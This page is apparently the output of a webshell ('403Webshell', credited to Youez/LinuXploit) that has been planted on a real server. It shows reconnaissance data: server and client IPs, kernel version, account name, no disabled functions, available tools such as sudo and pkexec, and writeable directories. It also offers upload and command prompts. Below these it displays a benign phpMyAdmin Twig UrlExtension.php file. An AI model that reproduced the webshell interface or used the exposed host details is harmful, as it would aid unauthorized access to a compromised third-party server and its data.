403Webshell
Server IP : 172.67.134.114  /  Your IP : 104.23.197.122
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ricodeal/public_html/phpmyadmin/libraries/classes/Twig/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ricodeal/public_html/phpmyadmin/libraries/classes/Twig/UrlExtension.php
<?php

declare(strict_types=1);

namespace PhpMyAdmin\Twig;

use PhpMyAdmin\Url;
use Twig\Extension\AbstractExtension;
use Twig\TwigFunction;

class UrlExtension extends AbstractExtension
{
    /**
     * Returns a list of functions to add to the existing list.
     *
     * @return TwigFunction[]
     */
    public function getFunctions()
    {
        return [
            new TwigFunction(
                'get_hidden_inputs',
                [Url::class, 'getHiddenInputs'],
                ['is_safe' => ['html']]
            ),
            new TwigFunction(
                'get_hidden_fields',
                [Url::class, 'getHiddenFields'],
                ['is_safe' => ['html']]
            ),
            new TwigFunction(
                'get_common',
                [Url::class, 'getCommon'],
                ['is_safe' => ['html']]
            ),
            new TwigFunction(
                'get_common_raw',
                [Url::class, 'getCommonRaw'],
                ['is_safe' => ['html']]
            ),
            new TwigFunction(
                'url',
                [Url::class, 'getFromRoute'],
                ['is_safe' => ['html']]
            ),
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit